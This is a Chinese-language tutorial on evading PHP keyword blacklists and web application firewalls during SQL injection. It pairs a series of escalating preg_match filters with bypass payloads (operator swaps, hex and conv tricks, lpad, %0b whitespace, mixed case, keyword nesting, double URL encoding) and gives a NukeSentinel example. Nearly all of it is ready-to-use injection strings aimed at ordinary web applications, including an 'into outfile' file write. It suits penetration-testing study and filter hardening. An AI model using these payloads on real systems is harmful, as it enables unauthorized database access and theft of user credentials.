黑名单关键字过滤与绕过

过滤关键字and、or

PHP匹配函数代码如下:

preg_match('/(and|or)/i', $id)

如何Bypass,过滤注入测试语句:

1 or 1 = 1                1 and 1 = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1                1 && 1 = 1

过滤关键字and, or, union

PHP匹配函数代码如下:

preg_match('/(and|or|union)/i', $id)

如何Bypass,过滤注入测试语句:

union select user, password from users

测试方法可以替换为如下语句测试:

1 || (select user from users where user_id = 1) = 'admin'

过滤关键字and, or, union,where

PHP匹配函数代码如下:

preg_match('/(and|or|union|where)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users where user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select user from users limit 1) = 'admin'

过滤关键字and, or, union,where,limit

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users limit 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

过滤关键字and, or, union,where,limit,group by

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union,where,limit,group by

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union,where,limit,group by,select

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1 into outfile 'result.txt'

1 || substr(user,1,1) = 'a'

过滤关键字and, or, union,where,limit,group by,select,'

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || user_id is not null

1 || substr(user,1,1) = 0x61

1 || substr(user,1,1) = unhex(61)

过滤关键字and, or, union,where,limit,group by,select,',hex

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = unhex(61)

测试方法可以替换为如下语句测试:

1 || substr(user,1,1) = lower(conv(11,10,36))

过滤关键字and, or, union,where,limit,group by,select,',hex,substr

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = lower(conv(11,10,36))

测试方法可以替换为如下语句测试:

1 || lpad(user,7,1)

过滤关键字and, or, union,where,limit,group by,select,',hex, substr, white space

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)

如何Bypass,过滤注入测试语句:

1 || lpad(user,7,1)

测试方法可以替换为如下语句测试:

1%0b||%0blpad(user,7,1)

部分WAF绕过技巧

1、绕过部分WAF

/news.php?id=1+un/**/ion+se/\**/lect+1,2,3--

2、匹配正则如下:

/union\sselect/g

绕过方式:

/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

3、过滤一次关键字

/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

4、关键字被过滤,有的时候可以用%0b插入关键字绕过

/news.php?id=1+uni%0bon+se%0blect+1,2,3--

5、对于Mod_rewrite的作用使得/**/不起作用时可以使用%0b代替

替换前:

/main/news/id/1//||//lpad(first_name,7,1).html

替换后:

/main/news/id/1%0b||%0blpad(first_name,7,1).html

6、大多数的CMS和WAF会对用户输入进行解码然后过滤,但有些只解码一次,我们可以对payload进行多次编码然后测试

/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

真实的例子

NukeSentinel

Nukesentinel.php的代码如下:

针对上面的防护,使用如下测试语句将被拦截:

/php-nuke/?/**/union/**/select…

可以使用如下语句代替:

/php-nuke/?/%2A%2A/union/%2A%2A/select…

/php-nuke/?%2f**%2funion%2f**%2fselect…

PHP_Mysql注入防护与绕过相关推荐

  1. php_mysql注入load_file()IIS配置文件获取

    php_mysql注入load_file()IIS配置文件获取 先看一个注入点: http://www. .cn/news_detail.php?newsid=-1+union+select+1,2, ...

  2. sql 注入防护与xss攻击防护

    [sql注入防护] 1.过滤关键字 限制mysql关键字以输入的形式注入sql,防止恶意代码对数据库产生破坏 2.控制输入字符长度 防止输入以16进制码注入,以长度限制,补充过滤关键字的漏洞 3.关闭 ...

  3. SQL注入和WAF绕过总结姿势

    自己复习专用,大佬勿喷 文章目录 前言 一.注入手法 联合注入 报错注入 布尔盲注 延时注入 堆叠注入 二.绕过姿势 绕过空格 注释符 括号 引号绕过(使用十六进制) 逗号绕过(使用from或者off ...

  4. SQL注入之MySQL注入姿势及绕过

    SQL注入之MySQL注入姿势及绕过 参考链接: https://xz.aliyun.com/t/10594 感受 1. 写的详细,并且绕过姿势也很多,大佬级人物 2. 在网上发现类似的文章,感觉这就 ...

  5. 怎么绕过PHP的防护,绕过某CDN的防注入简单技巧(绕过360webscan)

    昨天几个朋友聊到了某个cms里用的360webscan脚本,问我怎么绕过.其实之前一直没有研究过正则的绕过,当然这次也不是正则的绕过,但最终目的是达到了,全面绕过了360webscan对于注入与xss ...

  6. key php 转小写_PHP代码层防护与绕过

    0x01 前言 在一些网站通常会在公用文件引入全局防护代码进行SQL注入.XSS跨站脚本等漏洞的防御,在一定程度上对网站安全防护还是比较有效的. 这里讨论一下关键字过滤不完善及常见正则匹配存在的问题, ...

  7. sql注入空格被过滤_网站渗透:SQL注入与WAF绕过思路分享

    一.前言 这个注入是之前做测试时发现的,但是测试的时候发现有防护,但是想想这么个小网站都绕不过,实在不应该啊.开始补充学习各种场景.各种waf绕过姿势,勉勉强强的成功执行我构造的SQL的语句.趁着还有 ...

  8. 怎么绕过PHP的防护,PHP代码层防护与绕过

    0x01 前言 在一些网站通常会在公用文件引入全局防护代码进行SQL注入.XSS跨站脚本等漏洞的防御,在一定程度上对网站安全防护还是比较有效的. 这里讨论一下关键字过滤不完善及常见正则匹配存在的问题, ...

  9. mysql联合查询注入防护,SQL注入之BypassWaf

    0x00 前言 无论是在CTF比赛中还是在现实项目中,都会遇到各种各样的waf,没有绝对安全的系统,仔细的研究总会发现被"漏掉"的地方. 最近在研究过waf的技巧,期间还是很有趣的 ...

最新文章

  1. Dubbo -- 系统学习 笔记 -- 示例 -- 参数验证
  2. 基于Docker的SaaS解决方案
  3. C 语言编程 — 高级数据类型 — 字符串
  4. 结巴分词优点_中文分词概述及结巴分词原理
  5. Java IdentityHashMap putAll()方法与示例
  6. linux中top和ps的内存区别,linux - top与ps间的区别
  7. Python中代码书写规范与基本使用
  8. NetApp公司的4KB块写入技术真能容纳更多数据吗?
  9. JAVA中dot的用法_Java 方法
  10. csgo准星设置代码_csgo准星代码怎么输入
  11. python编写程序掷骰子游戏规则_通过构建一个简单的掷骰子游戏去学习怎么用Python编程...
  12. 中青杯数学建模竞赛是什么级别的比赛_2018年中青杯全国大学生数学建模竞赛...
  13. html td双击事件,tr td同时添加点击事件
  14. Python爬取百度贴吧回帖中的微信号(基于简单http请求)
  15. HttpMediaTypeNotSupportedException:Content type 'multipart/form-data;boundary=W10Jdm..'not supported
  16. 蒙特卡洛(Monte Carlo)方法简介
  17. 1564_AURIX_TC275_电压监控寄存器整理
  18. 抗乙型肝炎表面抗原(HBsAg)抗体偶联镉硒(CdSe)量子点|羧基水溶性量子点(PEG)标记EBNA1抗原
  19. 中山中专计算机专业分数线,成都市中山计算机职业技术学校2020年招生录取分数线...
  20. C++ 中的 new/delete 和 new[]/delete[]深入理解

热门文章

  1. QMouseEvent鼠标事件简介
  2. OpenCV图像缩放函数resize()的使用
  3. Python简单前序创建二叉树及二叉树的遍历
  4. WinForm连接数据库
  5. 爱创课堂每日一题第四十天- 说说你对语义化的理解?
  6. kindeditor图片上传 struts2实现
  7. All Things OpenTSDB
  8. Android的多任务之路
  9. 十进制网络,你也可以
  10. 情感分析之电影评论分析-基于Tensorflow的LSTM